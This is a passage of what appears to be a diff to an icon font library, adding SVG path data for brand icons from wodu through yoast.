117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"], + "wodu": [640, 512, [], "e088", "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"], + "wolf-pack-battalion": [512, 512, [], "f514", "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"], + "wordpress": [512, 512, [], "f19a", "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"], + "wordpress-simple": [512, 512, [], "f411", "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"], + "wpbeginner": [512, 512, [], "f297", "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"], + "wpexplorer": [512, 512, [], "f2de", "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"], + "wpforms": [448, 512, [], "f298", "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"], + "wpressr": [496, 512, [], "f3e4", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"], + "xbox": [512, 512, [], "f412", "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"], + "xing": [384, 512, [], "f168", "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"], + "xing-square": [448, 512, [], "f169", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"], + "y-combinator": [448, 512, [], "f23b", "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"], + "yahoo": [512, 512, [], "f19e", "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"], + "yammer": [512, 512, [], "f840", "M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z"], + "yandex": [256, 512, [], "f413", "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"], + "yandex-international": [320, 512, [], "f414", "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"], + "yarn": [496, 512, [], "f7e3", "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"], + "yelp": [384, 512, [], "f1e9", "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"], + "yoast": [448, 512, [], "f2b1", "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 